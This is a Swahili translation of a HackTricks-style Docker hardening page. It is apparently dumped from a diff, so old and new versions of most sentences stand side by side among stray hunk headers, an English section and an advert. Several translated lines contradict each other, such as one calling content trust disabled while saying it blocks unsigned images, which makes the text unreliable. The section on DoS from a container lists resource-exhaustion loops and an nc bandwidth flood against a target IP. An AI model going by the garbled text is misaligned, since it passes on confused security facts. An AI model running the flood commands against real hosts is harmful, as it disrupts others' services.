**Docker engine** hutumia **Namespaces** na **Cgroups** ya kernel ya Linux kuweka kontena kwenye kizuizi, kutoa safu ya msingi ya usalama. Ulinzi zaidi unatolewa kupitia **Capabilities dropping**, **Seccomp**, na **SELinux/AppArmor**, kuimarisha kizuizi cha kontena. Plugin ya **uthibitishaji** inaweza kuzuia vitendo vya mtumiaji.
**Docker engine** hutumia **Namespaces** na **Cgroups** ya kernel ya Linux kuisolate kontena, kutoa safu ya msingi ya usalama. Kinga zaidi hutolewa kupitia **Capabilities dropping**, **Seccomp**, na **SELinux/AppArmor**, ikiboresha kuisolishwa kwa kontena. **Plugin ya uthibitishaji** inaweza kuzuia vitendo vya mtumiaji zaidi.
![Usalama wa Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Upatikanaji Salama wa Docker Engine
Docker engine inaweza kupatikana kwa njia ya soketi ya Unix kwa ndani au kijijini kwa kutumia HTTP. Kwa upatikanaji wa kijijini, ni muhimu kutumia HTTPS na **TLS** ili kuhakikisha usiri, uadilifu, na uthibitisho.
Docker engine unaweza kupatikana kimtandao kupitia soketi ya Unix au kijijini kwa kutumia HTTP. Kwa upatikanaji wa kijijini, ni muhimu kutumia HTTPS na **TLS** kuhakikisha usiri, uadilifu, na uthibitisho.
Docker engine, kwa chaguo-msingi, husikiliza soketi ya Unix kwenye `unix:///var/run/docker.sock`. Kwenye mifumo ya Ubuntu, chaguzi za kuanza za Docker zinapatikana katika `/etc/default/docker`. Ili kuwezesha upatikanaji wa kijijini kwa API na mteja wa Docker, weka mazingira yafuatayo:
Docker engine, kwa chaguo-msingi, husikiliza kwenye soketi ya Unix kwa `unix:///var/run/docker.sock`. Kwenye mifumo ya Ubuntu, chaguzi za kuanzisha Docker zinapatikana katika `/etc/default/docker`. Ili kuwezesha upatikanaji wa kijijini kwa API na mteja wa Docker, fungua daemon ya Docker kwenye soketi ya HTTP kwa kuongeza mipangilio ifuatayo:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Hata hivyo, kuweka wazi Docker daemon kupitia HTTP sio inapendekezwa kutokana na wasiwasi wa usalama. Ni vyema kusimamia uhusiano kwa kutumia HTTPS. Kuna njia mbili kuu za kusimamia uhusiano:
Hata hivyo, kufunua Docker daemon kupitia HTTP sio jambo linalopendekezwa kutokana na maswala ya usalama. Ni vyema kuhakikisha kuwa mawasiliano yanafanyika kwa kutumia HTTPS. Kuna njia mbili kuu za kuhakikisha usalama wa mawasiliano:
1. Mteja anathibitisha utambulisho wa seva.
2. Mteja na seva wanathibitishana utambulisho wao kwa kila mmoja.
Vyeti hutumiwa kuthibitisha utambulisho wa seva. Kwa mifano ya kina ya njia zote mbili, angalia [**mwongozo huu**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
Vyeti hutumiwa kuthibitisha utambulisho wa seva. Kwa mifano kamili ya njia zote mbili, tazama [**mwongozo huu**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Usalama wa Picha za Kontena
Picha za kontena zinaweza kuhifadhiwa kwenye repositori za kibinafsi au za umma. Docker inatoa chaguzi kadhaa za uhifadhi wa picha za kontena:
Picha za kontena zinaweza kuhifadhiwa katika maktaba za faragha au za umma. Docker inatoa chaguzi kadhaa za uhifadhi wa picha za kontena:
* **[Docker Hub](https://hub.docker.com)**: Huduma ya usajili wa umma kutoka Docker.
* **[Docker Registry](https://github.com/docker/distribution)**: Mradi wa chanzo wazi unaoruhusu watumiaji kuhudhuria usajili wao wenyewe.
* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)**: Huduma ya usajili ya biashara ya Docker, ikijumuisha uthibitishaji wa mtumiaji kulingana na jukumu na ushirikiano na huduma za saraka za LDAP.
* [**Docker Hub**](https://hub.docker.com): Huduma ya usajili wa umma kutoka kwa Docker.
* [**Docker Registry**](https://github.com/docker/distribution): Mradi wa chanzo wazi unaoruhusu watumiaji kuhifadhi usajili wao wenyewe.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Usajili wa biashara wa Docker, ukiwa na uthibitishaji wa mtumiaji kulingana na jukumu na uingiliano na huduma za saraka za LDAP.
### Uchunguzi wa Picha
### Uchambuzi wa Picha
Kontena zinaweza kuwa na **mapungufu ya usalama** kutokana na picha ya msingi au programu iliyosanikishwa juu ya picha ya msingi. Docker inafanya kazi kwenye mradi unaoitwa **Nautilus** ambao hufanya uchunguzi wa usalama wa Kontena na kuorodhesha mapungufu ya usalama. Nautilus hufanya kazi kwa kulinganisha kila safu ya picha ya Kontena na hazina ya mapungufu ya usalama ili kutambua mapengo ya usalama.
Kontena zinaweza kuwa na **mapungufu ya usalama** kutokana na picha ya msingi au kutokana na programu iliyosanikishwa juu ya picha ya msingi. Docker inafanya kazi kwenye mradi unaoitwa **Nautilus** ambao hufanya uchambuzi wa usalama wa Kontena na kuorodhesha mapungufu ya usalama. Nautilus hufanya kazi kwa kulinganisha kila safu ya picha ya Kontena na hazina ya mapungufu ya usalama ili kutambua mapengo ya usalama.
Kwa maelezo zaidi [**soma hii**](https://docs.docker.com/engine/scan/).
Kwa [**mashauri zaidi soma hii**](https://docs.docker.com/engine/scan/).
* **`docker scan`**
Amri ya **`docker scan`** inakuwezesha kuchunguza picha za Docker zilizopo kwa kutumia jina au kitambulisho cha picha. Kwa mfano, tumia amri ifuatayo kuchunguza picha ya hello-world:
Amri ya **`docker scan`** inaruhusu uchambuzi wa picha za Docker zilizopo kwa kutumia jina au kitambulisho cha picha. Kwa mfano, endesha amri ifuatayo kuchambua picha ya hello-world:
```bash
docker scan hello-world
@ -87,28 +88,28 @@ snyk container test <image> --json-file-output=<output file> --severity-threshol
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Kusaini Picha za Docker
### Kutia Saini Picha ya Docker
Kusaini picha za Docker huhakikisha usalama na ukamilifu wa picha zinazotumiwa kwenye kontena. Hapa kuna maelezo mafupi:
Kutia saini picha ya Docker hutoa uhakika na usahihi wa picha zinazotumiwa kwenye makontena. Hapa kuna maelezo mafupi:
- **Docker Content Trust** hutumia mradi wa Notary, uliojengwa kwa kutumia The Update Framework (TUF), kusimamia usaini wa picha. Kwa maelezo zaidi, angalia [Notary](https://github.com/docker/notary) na [TUF](https://theupdateframework.github.io).
- Ili kuwezesha imani ya yaliyomo ya Docker, weka `export DOCKER_CONTENT_TRUST=1`. Kipengele hiki kimezimwa kwa chaguo-msingi katika toleo la Docker 1.10 na baadaye.
- Kwa kipengele hiki kimeamilishwa, picha zilizosainiwa tu zinaweza kupakuliwa. Kusukuma picha ya awali kunahitaji kuweka nywila kwa funguo za mzizi na lebo, na Docker pia inasaidia Yubikey kwa usalama ulioimarishwa. Maelezo zaidi yanaweza kupatikana [hapa](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Jaribio la kupakua picha isiyosainiwa na imani ya yaliyomo imeamilishwa husababisha kosa la "Hakuna data ya imani kwa toleo la karibuni".
- Kwa kusukuma picha baada ya ya kwanza, Docker inauliza nywila ya funguo la hazina ili kusaini picha.
- **Uaminifu wa Yaliyomo ya Docker** hutumia mradi wa Notary, uliojengwa kwenye The Update Framework (TUF), kusimamia kutia saini picha. Kwa maelezo zaidi, angalia [Notary](https://github.com/docker/notary) na [TUF](https://theupdateframework.github.io).
- Ili kuamsha uaminifu wa yaliyomo ya Docker, weka `export DOCKER_CONTENT_TRUST=1`. Kipengele hiki kimezimwa kwa chaguo-msingi kwenye Docker toleo 1.10 na baadaye.
- Kwa kipengele hiki kimezimwa, picha zilizosainiwa pekee ndizo zinazoweza kupakuliwa. Kusukuma picha ya kwanza kunahitaji kuweka nywila za mizizi na funguo za alama, na Docker pia inaunga mkono Yubikey kwa usalama ulioboreshwa. Maelezo zaidi yanaweza kupatikana [hapa](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Kujaribu kupakua picha isiyosainiwa na uaminifu wa yaliyomo umewezeshwa husababisha kosa la "Hakuna data ya uaminifu kwa toleo la karibuni".
- Kwa kusukuma picha baada ya ya kwanza, Docker inauliza nywila ya funguo ya hazina ili kutia saini picha.
Ili kuhifadhi nakala rudufu ya funguo zako za kibinafsi, tumia amri:
Ili kuhifadhi nakala za funguo zako za kibinafsi, tumia amri:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Wakati wa kubadili watumishi wa Docker, ni muhimu kuhamisha funguo za mizizi na hazina ili kuendeleza shughuli.
Wakati wa kubadili wenyeji wa Docker, ni muhimu kuhamisha funguo za msingi na za hazina ili kudumisha shughuli.
***
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na kutekeleza kwa urahisi mchakato wa kazi ulioendeshwa na zana za jamii za juu zaidi duniani.\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga kwa urahisi na **kutumia mifumo ya kazi** inayotumia zana za jamii **za juu zaidi** duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -119,24 +120,27 @@ Pata Ufikiaji Leo:
<summary>Maelezo ya Vipengele vya Usalama wa Kontena</summary>
### Vipengele vya Kufunga Mchakato Mkuu
#### Vipengele vya Kufungwa kwa Mchakato Mkuu
Katika mazingira ya kontena, kufunga miradi na michakato yake ni muhimu kwa usalama na usimamizi wa rasilimali. Hapa kuna maelezo rahisi ya dhana muhimu:
#### **Namespaces**
- **Lengo**: Kuhakikisha kufungwa kwa rasilimali kama michakato, mtandao, na mfumo wa faili. Hasa katika Docker, namespaces huzuia michakato ya kontena kutoka kwa mwenyeji na kontena nyingine.
- **Matumizi ya `unshare`**: Amri ya `unshare` (au syscall inayofanana) hutumiwa kuunda namespaces mpya, ikitoa safu ya ziada ya kufungwa. Walakini, wakati Kubernetes haizuiliwi kwa asili hii, Docker inafanya hivyo.
- **Kizuizi**: Kuunda namespaces mpya hakiruhusu mchakato kurudi kwenye namespaces za chaguo-msingi za mwenyeji. Kwa kawaida, ili kuingia kwenye namespaces za mwenyeji, mtu anahitaji ufikiaji wa saraka ya `/proc` ya mwenyeji, kwa kutumia `nsenter` kwa kuingia.
**Namespaces**
#### **Vikundi vya Kudhibiti (CGroups)**
- **Kazi**: Hutumiwa kwa kugawanya rasilimali kati ya michakato.
- **Upande wa Usalama**: Vikundi vya Kudhibiti wenyewe havitoi usalama wa kufungwa, isipokuwa kwa kipengele cha `release_agent`, ambacho, ikiwa hakijasakinishwa vizuri, kinaweza kutumiwa vibaya kwa ufikiaji usiohalali.
* **Lengo**: Kuhakikisha kufungwa kwa rasilimali kama michakato, mtandao, na mfumo wa faili. Hasa katika Docker, namespaces huzuia michakato ya kontena kutoka kwa mwenyeji na kontena nyingine.
* **Matumizi ya `unshare`**: Amri ya `unshare` (au syscall inayotumika) hutumiwa kuunda namespaces mpya, kutoa safu ya ziada ya kufungwa. Hata hivyo, ingawa Kubernetes haizuili hili kwa asili, Docker inafanya.
* **Kizuizi**: Kuunda namespaces mpya haimruhusu mchakato kurejea kwa namespaces za msingi za mwenyeji. Ili kuingia kwenye namespaces za mwenyeji, kwa kawaida mtu atahitaji ufikiaji wa saraka ya `/proc` ya mwenyeji, kutumia `nsenter` kwa kuingia.
#### **Kupunguza Uwezo**
- **Umuhimu**: Ni kipengele muhimu cha usalama kwa kufunga mchakato.
- **Ufanisi**: Inazuia hatua ambazo mchakato wa mizizi anaweza kutekeleza kwa kupunguza uwezo fulani. Hata kama mchakato unafanya kazi na mamlaka ya mizizi, kukosa uwezo muhimu kunazuia utekelezaji wa hatua za mamlaka, kwani syscalls zitashindwa kutokana na idhini duni.
**Vikundi vya Kudhibiti (CGroups)**
Hizi ni **uwezo uliobaki** baada ya mchakato kupunguza uwezo mwingine:
* **Kazi**: Hasa hutumiwa kwa kugawanya rasilimali kati ya michakato.
* **Upande wa Usalama**: CGroups wenyewe hawatoi usalama wa kufungwa, isipokuwa kwa kipengele cha `release_agent`, ambacho, ikiwa hakijasakinishwa vizuri, kinaweza kutumiwa vibaya kwa ufikiaji usiohalali.
**Kupunguza Uwezo (Capability Drop)**
* **Umuhimu**: Ni kipengele muhimu cha usalama kwa kufunga michakato.
* **Utendaji**: Inazuia vitendo ambavyo mchakato wa msingi anaweza kufanya kwa kupunguza uwezo fulani. Hata kama mchakato unakimbia na mamlaka ya msingi, kukosa uwezo muhimu kunazuia utekelezaji wa vitendo vya mamlaka, kwani syscall zitashindwa kutokana na idhini duni.
Hizi ni **uwezo uliobaki** baada ya mchakato kupunguza wengine:
{% code overflow="wrap" %}
```
@ -146,30 +150,30 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp**
Inawezeshwa kwa chaguo-msingi katika Docker. Inasaidia **kupunguza hata zaidi syscalls** ambazo mchakato unaweza kuita.\
**Profaili ya Seccomp ya Docker ya chaguo-msingi** inaweza kupatikana katika [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
Imewezeshwa kwa chaguo-msingi kwenye Docker. Inasaidia **kupunguza zaidi wito wa syscalls** ambao mchakato unaweza kuita.\
**Profaili ya Seccomp ya chaguo-msingi ya Docker** inaweza kupatikana kwenye [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
Docker ina kigezo ambacho unaweza kuamsha: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Docker ina kiolesura ambacho unaweza kuamsha: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Hii itaruhusu kupunguza uwezo, syscalls, upatikanaji wa faili na folda...
Hii itaruhusu kupunguza uwezo, syscalls, ufikiaji wa faili na folda...
</details>
### Namespaces
### Majina ya Nafasi
**Namespaces** ni kipengele cha kernel ya Linux ambacho **kinagawanya rasilimali za kernel** ili seti moja ya **mchakato** iona seti moja ya **rasilimali** wakati seti nyingine ya **mchakato** inaona seti tofauti ya rasilimali. Kipengele hiki kinafanya kazi kwa kuwa na jina sawa la nafasi kwa seti ya rasilimali na michakato, lakini hizo nafasi zinahusu rasilimali tofauti. Rasilimali inaweza kuwepo katika nafasi nyingi.
**Majina ya Nafasi** ni kipengele cha kernel ya Linux ambacho **kinagawa rasilimali za kernel** hivi kwamba seti moja ya **mchakato** **inaona** seti moja ya **rasilimali** wakati **seti nyingine** ya **mchakato** inaona **seti tofauti** ya rasilimali. Kipengele hufanya kazi kwa kuwa na nafasi ile ile kwa seti ya rasilimali na michakato, lakini hizo nafasi zinahusiana na rasilimali tofauti. Rasilimali inaweza kuwepo katika nafasi nyingi.
Docker hutumia Namespaces za kernel ya Linux zifuatazo kufikia kujitenga kwa Kontena:
Docker hutumia Majina ya Nafasi ya kernel ya Linux ifuatayo kufikia kizuizi cha Kontena:
* nafasi ya pid
* nafasi ya kufunga
* nafasi ya mlima
* nafasi ya mtandao
* nafasi ya ipc
* nafasi ya UTS
Kwa **mashauri zaidi kuhusu namespaces**, angalia ukurasa ufuatao:
Kwa **majarida zaidi kuhusu majina ya nafasi** angalia ukurasa ufuatao:
{% content-ref url="namespaces/" %}
[namespaces](namespaces/)
@ -177,18 +181,18 @@ Kwa **mashauri zaidi kuhusu namespaces**, angalia ukurasa ufuatao:
### cgroups
Kipengele cha kernel ya Linux kinachoitwa **cgroups** kinatoa uwezo wa **kuzuia rasilimali kama cpu, kumbukumbu, io, kasi ya mtandao kati** ya seti ya michakato. Docker inaruhusu kuunda Kontena kwa kutumia kipengele cha cgroup ambacho kinaruhusu udhibiti wa rasilimali kwa Kontena maalum.\
Hapa chini ni mfano wa Kontena iliyoumbwa na kikomo cha kumbukumbu ya nafasi ya mtumiaji hadi 500m, kikomo cha kumbukumbu ya kernel hadi 50m, mgawo wa cpu hadi 512, na uzito wa blkioweight hadi 400. Mgawo wa CPU ni uwiano unaodhibiti matumizi ya CPU ya Kontena. Ina thamani ya chaguo-msingi ya 1024 na ina kiwango kati ya 0 na 1024. Ikiwa Kontena tatu zina mgawo sawa wa CPU wa 1024, kila Kontena inaweza kuchukua hadi 33% ya CPU katika kesi ya mzozo wa rasilimali ya CPU. Blkio-weight ni uwiano unaodhibiti IO ya Kontena. Ina thamani ya chaguo-msingi ya 500 na ina kiwango kati ya 10 na 1000.
Kipengele cha kernel cha Linux **cgroups** hutoa uwezo wa **kizuia rasilimali kama cpu, kumbukumbu, io, upana wa mtandao miongoni** mwa seti ya michakato. Docker inaruhusu kuunda Kontena kwa kutumia kipengele cha cgroup ambacho kinaruhusu kudhibiti rasilimali kwa Kontena maalum.\
Hapa chini ni Kontena iliyoundwa na kikomo cha kumbukumbu ya nafasi ya mtumiaji hadi 500m, kumbukumbu ya kernel hadi 50m, mgawo wa cpu hadi 512, blkioweight hadi 400. Mgawo wa CPU ni uwiano unaodhibiti matumizi ya CPU ya Kontena. Ina thamani ya chaguo-msingi ya 1024 na inaanzia 0 hadi 1024. Ikiwa Kontena tatu zina mgawo sawa wa CPU wa 1024, kila Kontena inaweza kuchukua hadi 33% ya CPU katika kesi ya mgogoro wa rasilimali ya CPU. blkio-weight ni uwiano unaodhibiti IO ya Kontena. Ina thamani ya chaguo-msingi ya 500 na inaanzia 10 hadi 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
Ili kupata cgroup ya kontena, unaweza kufanya yafuatayo:
Ili kupata cgroup ya kontena unaweza kufanya:
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
Kwa habari zaidi angalia:
Kwa maelezo zaidi angalia:
{% content-ref url="cgroups.md" %}
[cgroups.md](cgroups.md)
@ -196,60 +200,60 @@ Kwa habari zaidi angalia:
### Uwezo
Uwezo unaruhusu **udhibiti bora wa uwezo ambao unaweza kuruhusiwa** kwa mtumiaji wa mizizi. Docker hutumia kipengele cha uwezo cha kernel ya Linux ili **kupunguza shughuli zinazoweza kufanywa ndani ya Kontena** bila kujali aina ya mtumiaji.
Uwezo huruhusu **udhibiti bora wa uwezo unaoruhusiwa** kwa mtumiaji wa mizizi. Docker hutumia kipengele cha uwezo cha kernel ya Linux ili **kizuie shughuli zinazoweza kufanywa ndani ya Kontena** bila kujali aina ya mtumiaji.
Wakati kontena ya docker inapoendeshwa, **mchakato hupunguza uwezo wa nyeti ambao mchakato unaweza kutumia kutoroka kutoka kwenye kizuizi**. Hii inajaribu kuhakikisha kuwa mchakato hautaweza kutekeleza hatua nyeti na kutoroka:
Wakati kontena ya docker inapoendeshwa, **mchakato hupunguza uwezo wenye hisia ambao mchakato unaweza kutumia kutoroka kutoka kwa kizuizi**. Hii inajaribu kuhakikisha kuwa mchakato hautaweza kutekeleza vitendo vyenye hisia na kutoroka:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
{% endcontent-ref %}
### Seccomp kwenye Docker
### Seccomp katika Docker
Hii ni kipengele cha usalama kinachoruhusu Docker **kupunguza syscalls** ambazo zinaweza kutumika ndani ya kontena:
Hii ni kipengele cha usalama kinachoruhusu Docker **kizuia syscalls** zinazoweza kutumika ndani ya kontena:
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
{% endcontent-ref %}
### AppArmor kwenye Docker
### AppArmor katika Docker
**AppArmor** ni uboreshaji wa kernel ambao unazuia **kontena** kwa seti **mdogo** ya **rasilimali** na **mipangilio ya programu**:
**AppArmor** ni nyongeza ya kernel ya kizuia **kontena** kwa seti **ndogo** ya **rasilimali** na **mipangilio ya programu**:
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
{% endcontent-ref %}
### SELinux kwenye Docker
### SELinux katika Docker
- **Mfumo wa Lebo**: SELinux inaweka lebo ya kipekee kwa kila mchakato na kifaa cha mfumo wa faili.
- **Utekelezaji wa Sera**: Inatekeleza sera za usalama ambazo zinafafanua hatua gani lebo ya mchakato inaweza kutekeleza kwenye lebo zingine ndani ya mfumo.
- **Lebo za Mchakato wa Kontena**: Wakati injini za kontena zinaanzisha michakato ya kontena, kawaida hupewa lebo iliyozuiwa ya SELinux, kawaida `container_t`.
- **Lebo za Faili ndani ya Kontena**: Faili ndani ya kontena kawaida huwa na lebo kama `container_file_t`.
- **Sera za Sera**: Sera ya SELinux kimsingi inahakikisha kuwa michakato yenye lebo ya `container_t` inaweza tu kuingiliana (kusoma, kuandika, kutekeleza) na faili zilizopewa lebo kama `container_file_t`.
* **Mfumo wa Lebo**: SELinux inaainisha lebo ya kipekee kwa kila mchakato na kila kitu cha mfumo wa faili.
* **Utekelezaji wa Sera**: Inatekeleza sera za usalama ambazo hufafanua vitendo gani lebo ya mchakato inaweza kutekeleza kwenye lebo zingine ndani ya mfumo.
* **Lebo za Mchakato wa Kontena**: Wakati injini za kontena zinaanzisha michakato ya kontena, kawaida hupewa lebo iliyozuiwa ya SELinux, mara nyingi `container_t`.
* **Kuainisha Faili ndani ya Kontena**: Faili ndani ya kontena kawaida huwa na lebo kama `container_file_t`.
* **Sera za Sera**: Sera ya SELinux kimsingi inahakikisha kuwa michakato yenye lebo ya `container_t` inaweza tu kuingiliana (kusoma, kuandika, kutekeleza) na faili zenye lebo kama `container_file_t`.
Mfumo huu unahakikisha kuwa hata kama mchakato ndani ya kontena unashambuliwa, unazuiwa kuingiliana na vitu vyenye lebo husika, ikipunguza kwa kiasi kikubwa uharibifu unaoweza kusababishwa na mashambulizi kama hayo.
Mfumo huu unahakikisha kuwa hata kama mchakato ndani ya kontena unashambuliwa, umefungwa kuingiliana tu na vitu vyenye lebo zinazofanana, ikipunguza uharibifu unaoweza kutokea kutokana na mashambulizi kama hayo.
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
{% endcontent-ref %}
### AuthZ & AuthN
### Uthibitishaji & Uthibitisho
Kwenye Docker, programu ya idhini inacheza jukumu muhimu katika usalama kwa kuamua ikiwa itaruhusu au kuzuia maombi kwa daemon ya Docker. Uamuzi huu unafanywa kwa kuchunguza muktadha muhimu mawili:
Katika Docker, programu ya idhini inacheza jukumu muhimu katika usalama kwa kuamua ikiwa kuruhusu au kuzuia maombi kwa daemini ya Docker. Uamuzi huu hufanywa kwa kuchunguza muktadha muhimu mawili:
- **Muktadha wa Uthibitishaji**: Hii ni pamoja na habari kamili kuhusu mtumiaji, kama vile ni nani na jinsi walivyothibitisha utambulisho wao.
- **Muktadha wa Amri**: Hii inajumuisha data zote muhimu zinazohusiana na ombi linalofanywa.
* **Muktadha wa Uthibitisho**: Hii inajumuisha habari kamili kuhusu mtumiaji, kama ni nani na jinsi walivyothibitishwa.
* **Muktadha wa Amri**: Hii inajumuisha data yote inayohusiana na ombi linalofanywa.
Muktadha huu husaidia kuhakikisha kuwa maombi halali kutoka kwa watumiaji waliothibitishwa tu ndio yanayosindika, kuimarisha usalama wa shughuli za Docker.
Muktadha huu husaidia kuhakikisha kuwa maombi halali kutoka kwa watumiaji waliothibitishwa tu ndio yanashughulikiwa, ikiboresha usalama wa shughuli za Docker.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
## DoS kutoka kwenye kontena
## DoS kutoka kwa kontena
Ikiwa hauzuili rasilimali ambazo kontena inaweza kutumia kwa usahihi, kontena iliyoshambuliwa inaweza kusababisha DoS kwenye mwenyeji ambapo inaendeshwa.
Ikiwa hauruhusu ipasavyo rasilimali ambazo kontena inaweza kutumia, kontena iliyoshambuliwa inaweza kufanya DoS kwenye mwenyeji ambapo inaendeshwa.
* CPU DoS
```bash
@ -259,21 +263,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
* Bandwidth DoS
Bandwidth DoS ni aina ya shambulio la kukataa huduma ambapo mtu mwenye nia mbaya anajaribu kusababisha kukosekana kwa huduma kwa kuzidiwa kwa uwezo wa mtandao wa lengo. Shambulio hili linahusisha kutuma kiasi kikubwa cha trafiki kwenye mtandao wa lengo ili kusababisha msongamano na kusababisha huduma kuwa haipatikani kwa watumiaji wengine.
Kuna njia kadhaa za kutekeleza shambulio la Bandwidth DoS, ikiwa ni pamoja na kutumia botnets, amplification attacks, na kutumia programu maalum za kushambulia. Shambulio hili linaweza kuathiri vibaya shughuli za biashara na huduma za mtandao, na kusababisha hasara kubwa kwa waathirika.
Kwa kuzuia shambulio la Bandwidth DoS, ni muhimu kutekeleza hatua za usalama kama vile kudhibiti trafiki, kufuatilia matumizi ya mtandao, na kuanzisha mipaka ya kasi ya uhamishaji wa data. Pia, kuhakikisha kuwa miundombinu ya mtandao ina nguvu ya kutosha na inaweza kushughulikia mzigo mkubwa wa trafiki ni muhimu katika kuzuia shambulio hili.
* Kupunguza Bandwidth
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## Vielelezo Vizuri vya Docker
## Vielelezo Vya Kuvutia vya Docker
### Bendi ya --privileged
### Bendera ya --privileged
Katika ukurasa ufuatao unaweza kujifunza **maana ya bendera ya `--privileged`**:
Kwenye ukurasa ufuatao unaweza kujifunza **maana ya bendera ya `--privileged`**:
{% content-ref url="docker-privileged.md" %}
[docker-privileged.md](docker-privileged.md)
@ -283,79 +281,13 @@ Katika ukurasa ufuatao unaweza kujifunza **maana ya bendera ya `--privileged`**:
#### no-new-privileges
Ikiwa unatumia chombo cha kuhifadhi ambapo mshambuliaji anafanikiwa kupata ufikiaji kama mtumiaji wa hali ya chini. Ikiwa una **binary ya suid iliyowekwa vibaya**, mshambuliaji anaweza kuitumia na **kuongeza mamlaka ndani** ya chombo cha kuhifadhi. Hii inaweza kumruhusu kutoroka kutoka chombo hicho.
Ikiwa unatekeleza chombo ambapo mshambuliaji anafanikiwa kupata ufikivu kama mtumiaji wa mamlaka ndogo. Ikiwa una **binary ya suid iliyokosewa**, mshambuliaji anaweza kuitumia na **kuongeza mamlaka ndani** ya chombo. Hii, inaweza kumruhusu kutoroka kutoka humo.
Kuendesha chombo cha kuhifadhi na chaguo la **`no-new-privileges`** kuwezeshwa kutazuia aina hii ya kuongeza mamlaka.
Kutekeleza chombo na chaguo la **`no-new-privileges`** kuwezeshwa kutazuia **aina hii ya ongezeko la mamlaka**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### Nyingine
In this section, we will explore some additional security measures that can be implemented to enhance the security of Docker containers.
##### 1. Limit Container Capabilities
By default, Docker containers inherit the capabilities of the host system. However, it is possible to limit the capabilities available to containers, thereby reducing the potential attack surface. This can be achieved by using the `--cap-drop` flag when running containers.
For example, to drop the `SYS_ADMIN` capability, you can run the container with the following command:
```bash
docker run --cap-drop SYS_ADMIN <image>
```
##### 2. Use Read-Only Filesystems
To prevent unauthorized modifications to the container's filesystem, you can mount it as read-only. This can be done by adding the `--read-only` flag when running the container.
```bash
docker run --read-only <image>
```
##### 3. Enable AppArmor or SELinux
AppArmor and SELinux are security modules that can be used to enforce access control policies on Docker containers. By enabling and configuring these modules, you can further restrict the actions that containers can perform.
To enable AppArmor, you can add the `--security-opt apparmor=profile_name` flag when running the container.
```bash
docker run --security-opt apparmor=profile_name <image>
```
To enable SELinux, you can add the `--security-opt label=type:label_value` flag when running the container.
```bash
docker run --security-opt label=type:label_value <image>
```
##### 4. Monitor Container Activity
Monitoring the activity of Docker containers can help detect any suspicious or malicious behavior. Tools like Docker Bench for Security and Sysdig Falco can be used to monitor and alert on container activity.
##### 5. Regularly Update Docker and Containers
Keeping Docker and its containers up to date is crucial for maintaining security. Regularly check for updates and apply them to ensure that any security vulnerabilities are patched.
##### 6. Implement Network Segmentation
To minimize the impact of a potential container compromise, it is recommended to implement network segmentation. By isolating containers into separate networks, you can limit the lateral movement of an attacker within your infrastructure.
##### 7. Use Docker Bench for Security
Docker Bench for Security is a script that provides a set of best practices for securing Docker containers. It can be used to assess the security of your Docker installation and identify any potential vulnerabilities.
To use Docker Bench for Security, you can run the following command:
```bash
docker run -it --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /var/lib:/var/lib \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/lib/systemd:/usr/lib/systemd \
-v /etc:/etc --label docker_bench_security \
docker/docker-bench-security
```
These additional security measures can help strengthen the security of your Docker containers and protect them from potential attacks.
```bash
#You can manually add/drop capabilities with
--cap-add
@ -370,29 +302,29 @@ These additional security measures can help strengthen the security of your Dock
# You can manually disable selinux in docker with
--security-opt label:disable
```
Kwa chaguo zaidi za **`--security-opt`**, angalia: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
Kwa **`--security-opt`** chaguo zaidi angalia: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Mambo Mengine ya Kuzingatia Kuhusu Usalama
### Usimamizi wa Siri: Mbinu Bora
